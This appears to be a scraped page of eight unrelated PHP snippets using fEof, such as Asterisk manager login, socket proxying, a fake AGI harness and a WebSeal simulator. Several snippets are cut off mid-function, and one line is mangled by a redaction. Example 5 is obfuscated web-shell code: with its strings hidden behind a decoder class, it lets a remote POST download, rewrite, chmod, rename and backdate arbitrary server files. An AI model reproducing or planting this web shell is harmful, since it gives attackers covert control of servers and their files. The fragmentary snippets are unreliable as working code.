Esempio n. 1
0
 public function ami_login($username, $password, $host, $port)
 {
     $this->_socket = fSockOpen($host, $port, $err, $errmsg, 2);
     if (!$this->_check_socket()) {
         gs_log(GS_LOG_WARNING, 'Connection to AMI on ' . $host . ' failed');
         return false;
     }
     # check: is AMI?
     $tStart = time();
     $data = '';
     while (!fEof($this->_socket) && time() < $tStart + 3) {
         $data .= @fRead($this->_socket, 8192);
         if (@preg_match('/[\\r\\n]/', $data)) {
             break;
         }
         usleep(1000);
         # sleep 0.001 secs
     }
     if (!preg_match('/^Asterisk [^\\/]+\\/(\\d(?:\\.\\d)?)/mis', $data, $m)) {
         gs_log(GS_LOG_WARNING, 'Incompatible Asterisk Manager Interface on ' . $host);
         $m = array(1 => '0.0');
     } else {
         if ($m[1] > '1.1') {
             # Asterisk 1.4: manager 1.0
             # Asterisk 1.6: manager 1.1
             gs_log(GS_LOG_WARNING, 'Asterisk manager interface on ' . $host . ' speaks a new protocol version (' . $m[1] . ')');
             # let's try anyway and hope to understand it
         }
         $req = 'Action: Login' . "\r\n" . 'Username: '******'Secret: ' . $password . "\r\n" . 'Events: off' . "\r\n" . "\r\n";
         $data = $this->ami_send_command($req);
         if (strToLower($data['Message']) !== 'authentication accepted') {
             gs_log(GS_LOG_WARNING, 'Authentication to AMI on ' . $host . ' failed');
             return false;
         }
     }
     return true;
 }
Esempio n. 2
0
File: proxy.php Progetto: rkania/GS3
    die;
}
@stream_set_blocking($sock, false);
$tStart = time();
$cnt_no_data = 0;
$buf = '';
echo $html_start;
echo $msg_open;
echo 'e("");', "\n";
# everything is fine
echo $msie_pad;
echo $msg_close;
@ob_flush();
@flush();
//$db = gs_db_slave_connect();
while (!@fEof($sock) && time() < $tStart + $maxtime) {
    $data = @fRead($sock, 8190);
    if (strLen($data) > 0) {
        $cnt_no_data = 0;
        $buf .= $data;
    } else {
        if (++$cnt_no_data > 250) {
            # we sleep 0.02 secs so this is 5 secs
            echo $html_end;
            @ob_flush();
            @flush();
            exit(0);
        }
    }
    while (preg_match('/=====/S', $buf, $m, PREG_OFFSET_CAPTURE)) {
        $pos = (int) @$m[0][1];
Esempio n. 3
0
function _sock_read($sock, $timeout, $stop_regex)
{
    if (!is_resource($sock)) {
        return false;
    }
    @stream_set_blocking($sock, false);
    //stream_set_timeout( $sock, 5 );  // not really used here
    $tStart = time();
    $data = '';
    while (!@fEof($sock) && time() < $tStart + $timeout) {
        $data .= @fRead($sock, 8192);
        if (@preg_match($stop_regex, $data)) {
            break;
        }
        uSleep(1000);
        # sleep 0.001 secs
    }
    if ($data === '') {
        # assume timeout
        return false;
    }
    return $data;
}
Esempio n. 4
0
function readFiles($a)
{
    $fname = explode("/", $a);
    $fnameNums = count($fname);
    $fname = $fname[$fnameNums - 1];
    if (strcmp($fname, "loaddir.php") == 0) {
        echo "<script>alert('不能编辑该文件!');location.href='loaddir.php';</script>";
    }
    //$exts=substr($a,-3);
    $exts = explode(".", $a);
    $extsNums = count($exts);
    $exts = $exts[$extsNums - 1];
    if ($exts == "php" || $exts == "asp" || $exts == "txt" || $exts == "html" || $exts == "aspx" || $exts == "jsp" || $exts == "htm") {
        $handle = @fOpen($a, "r");
        if ($handle) {
            echo "<h3>修改文件:{$a}</h3>";
            echo "<form action='loaddir.php?action=doedit&urlstr={$a}' method='post'><textarea style='width:99%;height:300px;margin-left:auto;margin-right:auto;' name='content'>";
            while (!fEof($handle)) {
                //$buffer=fGets($handle);
                //echo ubb(mb_convert_variables(fGets($handle),"gb2312","gb2312,utf-8"));
                //echo ubb(mb_convert_encoding(fGets($handle),"gb2312","utf-8,gb2312"));
                echo ubb(mb_convert_encoding(fGets($handle), "utf-8", "auto"));
                //echo ubb(iconv("utf-8,gb2312","gb2312",fGets($handle)));
                //echo ubb(fGets($handle));
            }
            fClose($handle);
            echo "</textarea><h3><input type='submit' value='修改' /></h3></form>";
        } else {
            //echo "文件不存在或不可用";
            echo "<script>alert('文件不存在或不可用');location.href='loaddir.php';</script>";
        }
    } else {
        //echo "不能编辑该文件";
        echo "<script>alert('不能编辑该文件');location.href='loaddir.php';</script>";
    }
}
Esempio n. 5
0
function aCtiONfILEstOolS()
{
    if (isset($_POST[_≈сс::_ш┬('_' . '╩г', '_пп' . 'ц')])) {
        $_POST[_≈сс::_ш┬('_' . '≤√', '_в╕е')] = UrlDEcOde($_POST[_≈сс::_ш┬('_' . '╥' . 'н╥', '_' . 'ч╗')]);
    }
    if (@$_POST[_≈сс::_ш┬('_' . 'п║', '_╟⌡')] == _≈сс::_ш┬('_' . '╔' . '╛', '_╞в')) {
        if (@Is_FIlE($_POST[_≈сс::_ш┬('_╧' . '╘', '_╔╣')]) && @is_REaDabLe($_POST[_≈сс::_ш┬('_эмо', '_р┼' . 'я')])) {
            ob_StarT(_≈сс::_ш┬('_б╓', '_╤├о'), 010000);
            heAder(_≈сс::_ш┬('_у≥ё', '_≤л') . bASENAME($_POST[_≈сс::_ш┬('_┼┤' . '┴', '_' . 'ы┴п')]));
            if (FUNCtioN_ExiStS(_≈сс::_ш┬('_м├', '_≥лз'))) {
                $_д = @mIME_COntent_typE($_POST[_≈сс::_ш┬('_' . 'р├' . 'ф', '_' . 'т╩')]);
                HEader(_≈сс::_ш┬('_' . '▄⌠' . 'ф', '_├ю' . 'г') . $_д);
            } else {
                HEAder(_≈сс::_ш┬('_' . 'гз' . '╓', '_┬▀' . '▌'));
            }
            $_╔╛р = @fopEn($_POST[_≈сс::_ш┬('_ж≤┤', '_╜' . 'г')], _≈сс::_ш┬('_' . '┘' . 'ц', '_ие'));
            if ($_╔╛р) {
                while (!@fEOF($_╔╛р)) {
                    echo @fREAd($_╔╛р, 02000);
                }
                FclOse($_╔╛р);
            }
        }
        exit;
    }
    if (@$_POST[_≈сс::_ш┬('_╟├' . 'ъ', '_ц█')] == _≈сс::_ш┬('_' . 'щ√', '_' . 'ё' . '╡')) {
        if (!FILE_eXIsTs($_POST[_≈сс::_ш┬('_' . '┴⌡', '_╓' . '╟')])) {
            $_╔╛р = @FOPeN($_POST[_≈сс::_ш┬('_' . '▒' . 'ю', '_т▒' . 'б')], _≈сс::_ш┬('_' . '╞' . '╥', '_' . 'цщ'));
            if ($_╔╛р) {
                $_POST[_≈сс::_ш┬('_ёя', '_' . 'з═')] = _≈сс::_ш┬('_' . 'ц╤', '_сьъ');
                fcloSE($_╔╛р);
            }
        }
    }
    _н();
    echo _≈сс::_ш┬('_' . 'хз' . 'р', '_╙' . 'ёп');
    if (!File_ExiStS(@$_POST[_≈сс::_ш┬('_≤╩', '_' . '┴' . '≤')])) {
        echo _≈сс::_ш┬('_┤' . '▀', '_╙╚х');
        _▌╩();
        return;
    }
    $_■ = @posIX_geTPwUID(@fileOWNER($_POST[_≈сс::_ш┬('_' . '╝╗' . '├', '_╫' . 'я')]));
    if (!$_■) {
        $_■[_≈сс::_ш┬('_╩' . '╞', '_╠' . '═╞')] = @fILeOwNER($_POST[_≈сс::_ш┬('_ц╘', '_' . '≈' . '■⌡')]);
        $_▀я├[_≈сс::_ш┬('_ц╡' . 'о', '_' . '⌠√')] = @FileGrOUp($_POST[_≈сс::_ш┬('_' . 'х┬', '_╛мл')]);
    } else {
        $_▀я├ = @poSIx_gETgrgID(@fiLEgrOUP($_POST[_≈сс::_ш┬('_сь', '_' . 'х═' . '▌')]));
    }
    echo _≈сс::_ш┬('_фж' . '┴', '_╕╤≈') . HtmLSPeCiALCHaRS(@baSenAme($_POST[_≈сс::_ш┬('_' . 'я═' . '▓', '_┼┴э')])) . _≈сс::_ш┬('_┼╟' . 'р', '_┘│▀') . (IS_fiLe($_POST[_≈сс::_ш┬('_' . 'ъэ' . 'й', '_' . 'тж')]) ? _┌├к(fIlESIze($_POST[_≈сс::_ш┬('_' . '╡' . '├' . '▒', '_нв')])) : _≈сс::_ш┬('_зу', '_┘' . 'кю')) . _≈сс::_ш┬('_┬' . 'с', '_' . 'х▓') . _═├($_POST[_≈сс::_ш┬('_╝д▌', '_' . 'шы')]) . _≈сс::_ш┬('_ь■' . '╡', '_' . '╡' . 'ыъ') . $_■[_≈сс::_ш┬('_─' . 'к╖', '_▀╠ш')] . _≈сс::_ш┬('_' . 'в═▌', '_▀╚з') . $_▀я├[_≈сс::_ш┬('_▄' . '╫', '_≈╟' . '╣')] . _≈сс::_ш┬('_я╣', '_у╓' . 'л');
    echo _≈сс::_ш┬('_⌡╩', '_' . 'ь⌡' . 'ы') . daTE(_≈сс::_ш┬('_з│' . '▒', '_к■' . 'ч'), fILEcTime($_POST[_≈сс::_ш┬('_лы', '_▒' . '╘л')])) . _≈сс::_ш┬('_' . '╖' . 'р┌', '_ж╚') . daTE(_≈сс::_ш┬('_' . '╟п', '_' . '╛' . 'ъ'), fILEaTIMe($_POST[_≈сс::_ш┬('_' . 'у▓', '_' . 'йх')])) . _≈сс::_ш┬('_ил', '_▄' . '▌' . '▒') . DAte(_≈сс::_ш┬('_▄┤ь', '_с┘м'), fiLemtIme($_POST[_≈сс::_ш┬('_▄' . '┤к', '_' . '╡√' . 'щ')])) . _≈сс::_ш┬('_б┬', '_ы│б');
    if (empty($_POST[_≈сс::_ш┬('_╧жч', '_╞' . 'д')])) {
        $_POST[_≈сс::_ш┬('_' . 'н╞│', '_' . 'фюй')] = _≈сс::_ш┬('_' . 'э├', '_█' . '■' . 'х');
    }
    if (iS_FILE($_POST[_≈сс::_ш┬('_ф╧', '_╕√')])) {
        $_║ = array(_≈сс::_ш┬('_' . 'я╙', '_' . '┌■'), _≈сс::_ш┬('_' . '╗' . 'г', '_═' . '╠'), _≈сс::_ш┬('_≤┴', '_' . 'шр'), _≈сс::_ш┬('_' . '═' . '√╧', '_' . 'ом' . '╜'), _≈сс::_ш┬('_' . '┬╙', '_╙' . '╙' . '√'), _≈сс::_ш┬('_ас≈', '_' . 'ь╠'), _≈сс::_ш┬('_▌╔' . '╤', '_а' . '▄х'), _≈сс::_ш┬('_ж╫' . '║', '_г╩┘'));
    } else {
        $_║ = array(_≈сс::_ш┬('_' . '└' . '▓╤', '_ч≤' . '╩'), _≈сс::_ш┬('_┼' . '└', '_╖' . 'н≈'), _≈сс::_ш┬('_г├' . '▒', '_' . 'ь╔й'));
    }
    foreach ($_║ as $_ю╫) {
        echo _≈сс::_ш┬('_├' . 'в', '_╙─в') . uRlenCoDE($_POST[_≈сс::_ш┬('_' . '╣' . 'к▓', '_' . '▌┼' . '┘')]) . _≈сс::_ш┬('_' . 'дх', '_┬' . 'ф') . StrToloWER($_ю╫) . _≈сс::_ш┬('_┌' . 'и⌡', '_' . '▄╟') . (STrTOLOwer($_ю╫) == @$_POST[_≈сс::_ш┬('_' . '⌠а' . '╡', '_ащ▐')] ? _≈сс::_ш┬('_' . '╔■ш', '_▀ф█') . $_ю╫ . _≈сс::_ш┬('_' . '∙─', '_улт') : $_ю╫) . _≈сс::_ш┬('_' . '⌠' . '╝' . '√', '_▐' . 'ф≈');
    }
    echo _≈сс::_ш┬('_' . '│█', '_╝▀' . 'п');
    switch ($_POST[_≈сс::_ш┬('_√' . '┬', '_' . '╔▌' . '≤')]) {
        case _≈сс::_ш┬('_' . '╠√', '_' . 'п╙'):
            echo _≈сс::_ш┬('_' . '╫' . 'л╙', '_≤я┤');
            $_╔╛р = @fopeN($_POST[_≈сс::_ш┬('_╛╔▓', '_╖э')], _≈сс::_ш┬('_' . 'лу', '_к┤'));
            if ($_╔╛р) {
                while (!@fEof($_╔╛р)) {
                    echo HtMLSpEcIalcHaRs(@fREad($_╔╛р, 02000));
                }
                @fCLOSe($_╔╛р);
            }
            echo _≈сс::_ш┬('_жк', '_' . 'ё╧');
            break;
        case _≈сс::_ш┬('_┴╔', '_' . 'ф├≤'):
            if (@is_readABlE($_POST[_≈сс::_ш┬('_▀' . '≥', '_' . '▒≥╔')])) {
                echo _≈сс::_ш┬('_' . '▐' . '┼б', '_я└');
                $_╟щ = @higHlIght_FILe($_POST[_≈сс::_ш┬('_' . '╧' . '╟' . '╚', '_' . '═▓')], true);
                echo sTR_REpLAcE(array(_≈сс::_ш┬('_' . 'за', '_╩' . '≥'), _≈сс::_ш┬('_├' . 'й╘', '_' . 'я█' . '╓')), array(_≈сс::_ш┬('_╓√≥', '_' . 'идб'), _≈сс::_ш┬('_' . '║╡х', '_ш▒')), $_╟щ) . _≈сс::_ш┬('_' . 'д─' . 'ы', '_нт');
            }
            break;
        case _≈сс::_ш┬('_┤жэ', '_чзъ'):
            if (!empty($_POST[_≈сс::_ш┬('_' . 'в╠', '_жь' . 'в')])) {
                $_┼┤ = 00;
                for ($_╧╞│ = strlEN($_POST[_≈сс::_ш┬('_╔┬', '_' . 'чу║')]) - 01; $_╧╞│ >= 00; --$_╧╞│) {
                    $_┼┤ += (int) $_POST[_≈сс::_ш┬('_' . 'ь≥', '_' . '┌' . 'з')][$_╧╞│] * pOw(010, STrleN($_POST[_≈сс::_ш┬('_' . '│■┌', '_' . '╗╣')]) - $_╧╞│ - 01);
                }
                if (!@chmOD($_POST[_≈сс::_ш┬('_' . '▓в', '_вж╫')], $_┼┤)) {
                    echo _≈сс::_ш┬('_гр' . '═', '_⌡┌и');
                }
            }
            cLEARStAtcaCHE();
            echo _≈сс::_ш┬('_х╜' . 'ё', '_пъ') . UrLEncODE($_POST[_≈сс::_ш┬('_' . 'ыс', '_╟≥' . 'к')]) . _≈сс::_ш┬('_╗' . 'щф', '_щ■' . '■') . suBSTr(SPRINTF(_≈сс::_ш┬('_╚з', '_═ф'), FiLEPERmS($_POST[_≈сс::_ш┬('_' . '≈▄' . '╗', '_' . 'ь⌡│')])), -04) . _≈сс::_ш┬('_к╩' . 'л', '_█' . 'ц╣');
            break;
        case _≈сс::_ш┬('_▓┘р', '_ечп'):
            if (!IS_WRITABle($_POST[_≈сс::_ш┬('_╫' . 'ж╤', '_▒' . '╚┬')])) {
                echo _≈сс::_ш┬('_║м', '_≥' . '▒');
                break;
            }
            if (!empty($_POST[_≈сс::_ш┬('_' . 'д╧м', '_е≤х')])) {
                $_▌щм = @Filemtime($_POST[_≈сс::_ш┬('_╧└' . '╞', '_' . '█≈' . 'е')]);
                $_POST[_≈сс::_ш┬('_│▓' . '▀', '_шсл')] = suBsTr($_POST[_≈сс::_ш┬('_яр' . 'я', '_' . '╥║' . '┼')], 01);
                $_╔╛р = @FoPEn($_POST[_≈сс::_ш┬('_▓╞', '_≤ф')], _≈сс::_ш┬('_ют', '_с▌'));
                if ($_╔╛р) {
                    @FwriTE($_╔╛р, $_POST[_≈сс::_ш┬('_┤ъ│', '_' . '⌡└─')]);
                    @FcLOsE($_╔╛р);
                    echo _≈сс::_ш┬('_' . 'хъ', '_ы╗' . 'ж');
                    @TouCh($_POST[_≈сс::_ш┬('_' . 'гэ', '_ьа' . 'я')], $_▌щм, $_▌щм);
                }
            }
            echo _≈сс::_ш┬('_▐╖', '_ны') . UrlenCOdE($_POST[_≈сс::_ш┬('_│' . 'п┤', '_' . '╙с')]) . _≈сс::_ш┬('_' . '≤║╝', '_√╚' . 'р');
            $_╔╛р = @FopEn($_POST[_≈сс::_ш┬('_╙╫', '_├' . '┬')], _≈сс::_ш┬('_╙' . '▌', '_пр'));
            if ($_╔╛р) {
                while (!@FEOF($_╔╛р)) {
                    echo htMLspeciaLCharS(@freaD($_╔╛р, 02000));
                }
                @fCloSe($_╔╛р);
            }
            echo _≈сс::_ш┬('_' . '╗' . '╔┴', '_∙м');
            break;
        case _≈сс::_ш┬('_' . '╚╕' . '╔', '_д╧' . '▄'):
            $_┼┘╓ = @FIlE_geT_CONtENTs($_POST[_≈сс::_ш┬('_║о', '_┌ё▒')]);
            $_╫≥ = 00;
            $_⌡х = array(_≈сс::_ш┬('_┼' . '╣', '_' . 'фкв'), _≈сс::_ш┬('_' . 'мъ', '_щц' . '█'), _≈сс::_ш┬('_ьёт', '_ы╓'));
            $_▀╔└ = STrlen($_┼┘╓);
            for ($_╧╞│ = 00; $_╧╞│ < $_▀╔└; ++$_╧╞│) {
                $_⌡х[01] .= sPRIntf(_≈сс::_ш┬('_╛╝╧', '_■й'), ORd($_┼┘╓[$_╧╞│])) . _≈сс::_ш┬('_═╝╥', '_' . 'бр╤');
                switch (ORD($_┼┘╓[$_╧╞│])) {
                    case 00:
                        $_⌡х[02] .= _≈сс::_ш┬('_' . '⌠─', '_' . 'ег');
                        break;
                    case 011:
                        $_⌡х[02] .= _≈сс::_ш┬('_' . '≥≈щ', '_' . '≈вн');
                        break;
                    case 012:
                        $_⌡х[02] .= _≈сс::_ш┬('_яе' . '┼', '_' . 'у▓' . '║');
                        break;
                    case 015:
                        $_⌡х[02] .= _≈сс::_ш┬('_╣ы', '_' . '╙щ');
                        break;
                    default:
                        $_⌡х[02] .= $_┼┘╓[$_╧╞│];
                        break;
                }
                $_╫≥++;
                if ($_╫≥ == 040) {
                    $_╫≥ = 00;
                    if ($_╧╞│ + 01 < $_▀╔└) {
                        $_⌡х[00] .= sPrintf(_≈сс::_ш┬('_╙╟', '_║≤'), $_╧╞│ + 01) . _≈сс::_ш┬('_' . 'сс', '_п╘м');
                    }
                    $_⌡х[01] .= _≈сс::_ш┬('_кдк', '_≈╫л');
                    $_⌡х[02] .= _≈сс::_ш┬('_╤╘╫', '_' . 'мй');
                }
            }
            echo _≈сс::_ш┬('_▌┼', '_⌡лп') . $_⌡х[00] . _≈сс::_ш┬('_' . '╥ку', '_' . 'ю╖') . $_⌡х[01] . _≈сс::_ш┬('_' . '▐эр', '_⌡' . '√╫') . hTmLspEcIalcHaRs($_⌡х[02]) . _≈сс::_ш┬('_∙э║', '_хш' . '└');
            break;
        case _≈сс::_ш┬('_╣' . '╔', '_▄' . 'ъ╥'):
            if (!empty($_POST[_≈сс::_ш┬('_' . 'у█у', '_▐∙╠')])) {
                if (!@reName($_POST[_≈сс::_ш┬('_ы≥╝', '_' . '┌р╘')], $_POST[_≈сс::_ш┬('_╣ш', '_⌡' . 'э')])) {
                    echo _≈сс::_ш┬('_р╖', '_■│');
                } else {
                    die(_≈сс::_ш┬('_╗' . 'т', '_▒' . 'г') . uRLeNCodE($_POST[_≈сс::_ш┬('_╫' . '⌡', '_' . '▒й')]) . _≈сс::_ш┬('_' . '╩' . '√⌠', '_└' . '═'));
                }
            }
            echo _≈сс::_ш┬('_' . '■╞э', '_≥╟й') . URlEnCOde($_POST[_≈сс::_ш┬('_' . 'ью', '_╗' . '╖')]) . _≈сс::_ш┬('_' . '═' . 'э', '_' . '│╥') . HtmlSPeCialcHARs($_POST[_≈сс::_ш┬('_▐' . '┤' . 'ф', '_ас')]) . _≈сс::_ш┬('_яц', '_≥р');
            break;
        case _≈сс::_ш┬('_рд' . 'ч', '_╡╞' . 'ъ'):
            if (!empty($_POST[_≈сс::_ш┬('_╣' . 'ь▓', '_╫' . '┴')])) {
                $_▌щм = StRTotime($_POST[_≈сс::_ш┬('_▌╛' . '≈', '_' . '═' . '')]);
                if ($_▌щм) {
                    if (!toUCh($_POST[_≈сс::_ш┬('_≈' . '╫', '_' . 'й■' . 'м')], $_▌щм, $_▌щм)) {
                        echo _≈сс::_ш┬('_┼' . 'з', '_е╟');
                    } else {
                        echo _≈сс::_ш┬('_▀' . '║', '_яэ╥');
                    }
                } else {
                    echo _≈сс::_ш┬('_ре', '_' . 'чж');
                }
            }
            cLEarSTaTcAcHE();
            echo _≈сс::_ш┬('_ух' . 'б', '_╧' . '╩' . '╤') . uRlENcODE($_POST[_≈сс::_ш┬('_╚п', '_┘' . 'я')]) . _≈сс::_ш┬('_╖' . 'о', '_' . 'м╠') . DAtE(_≈сс::_ш┬('_╞' . '⌠ъ', '_╞' . '═'), @fILemTImE($_POST[_≈сс::_ш┬('_фчя', '_╕│')])) . _≈сс::_ш┬('_' . '╛л', '_╠ую');
            break;
    }
    echo _≈сс::_ш┬('_' . 'у║', '_├╩');
    _▌╩();
}
Esempio n. 6
0
function tivoli_http_request()
{
    global $scheme, $host, $port, $timeout, $sessionName;
    /*
    echo "<pre>";
    print_r($_SERVER);
    print_r($_FILES);
    echo "</pre>";
    */
    if (is_array($_FILES) && count($_FILES) > 0) {
        $errout = 'File uploads cannot be handled by the WebSeal simulation script.';
    } else {
        $errout = '';
    }
    $postVals = array();
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        foreach ($_POST as $k => $v) {
            if (subStr($k, 0, 10) != '_x_tivoli_') {
                $postVals[] = urlEncode($k) . '=' . urlEncode($v);
            }
        }
    }
    $postData = implode('&', $postVals);
    $headers = array();
    foreach ($_SERVER as $k => $v) {
        if (subStr($k, 0, 5) == 'HTTP_') {
            $k = strToLower(str_replace('_', '-', subStr($k, 5)));
            $headers[$k] = $v;
        }
    }
    $headers['accept-encoding'] = 'identity';
    $headers['connection'] = 'close';
    $headers['host'] = $host . ':' . $port;
    unset($headers['keep-alive']);
    $headers['iv-user'] = $_SESSION['user'];
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $headers['content-type'] = 'application/x-www-form-urlencoded';
        $headers['content-length'] = strLen($postData);
    }
    if (isset($headers['cookie'])) {
        $headers['cookie'] = preg_replace('/' . $sessionName . '=[^\\s]*/', '', $headers['cookie']);
    }
    if (isset($headers['referer'])) {
        $headers['referer'] = str_replace('http://' . $_SERVER['HTTP_HOST'] . '/', 'http://' . $host . ':' . $port . '/', $headers['referer']);
        if ($port == 80) {
            $headers['referer'] = str_replace(':80', '', $headers['referer']);
        }
    }
    $req = $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' HTTP/1.0' . "\r\n";
    foreach ($headers as $k => $v) {
        $req .= ucWords($k) . ': ' . $v . "\r\n";
    }
    $req .= "\r\n";
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $req .= $postData;
    }
    unset($headers);
    $sock = @fSockOpen('tcp://' . $host, $port, $err, $errMsg, $timeout);
    if (!$sock) {
        echo "Could not connect to host {$host}, port {$port}\n";
        return false;
    }
    fWrite($sock, $req, strLen($req));
    unset($req);
    $response = '';
    while (!fEof($sock)) {
        $response .= fRead($sock, 10000);
    }
    my_http_handle_response($response, $errout);
}
Esempio n. 7
0
_fake_agi_send($pipes[0], 'agi_context: FAKE');
_fake_agi_send($pipes[0], 'agi_extension: s');
_fake_agi_send($pipes[0], 'agi_priority: 1');
_fake_agi_send($pipes[0], 'agi_enhanced: 0.0');
_fake_agi_send($pipes[0], 'agi_accountcode: ');
_fake_agi_send($pipes[0], '');
$select = array($pipes[1]);
# needs to be passed by reference
$null = null;
# needs to be passed by reference
stream_set_blocking($pipes[1], true);
while (true) {
    $agi_cmd_line = '';
    $i = 0;
    while (true) {
        if (fEof($pipes[1])) {
            # AGI script exited
            break 2;
        }
        if (stream_select($select, $null, $null, 1) > 0) {
            $agi_cmd_line .= fGetS($pipes[1], 8192);
            if (subStr($agi_cmd_line, -1) === "\n") {
                # end of line
                //$agi_cmd_line = subStr($agi_cmd_line,0,-1);
                $agi_cmd_line = rTrim($agi_cmd_line);
                break;
            }
        }
        if (++$i > 2) {
            # 1 s * 10 = 10 s
            gs_log(GS_LOG_WARNING, 'Timeout while waiting for AGI command.');
Esempio n. 8
0
function getAllGroups($users = false, $sort = true)
{
    global $hlaska, $pwdfname;
    //kontrola existence souboru hesel
    if (!File_Exists($pwdfname)) {
        $hlaska = "Nenalezen soubor hesel";
        return false;
    }
    //cteni souboru hesel
    $fHesla = fopen($pwdfname, "r");
    $groups = array();
    while (!fEof($fHesla)) {
        $row = fGetS($fHesla);
        $row = explode(",", $row);
        $group = array();
        if ($row[1]) {
            $group = explode(" ", $row[1]);
        }
        if ($users && $row[0]) {
            $group[] = $row[0];
        }
        $groups = array_merge($groups, $group);
    }
    fclose($fHesla);
    $groups = array_unique($groups);
    if ($sort) {
        asort($groups);
    }
    return $groups;
}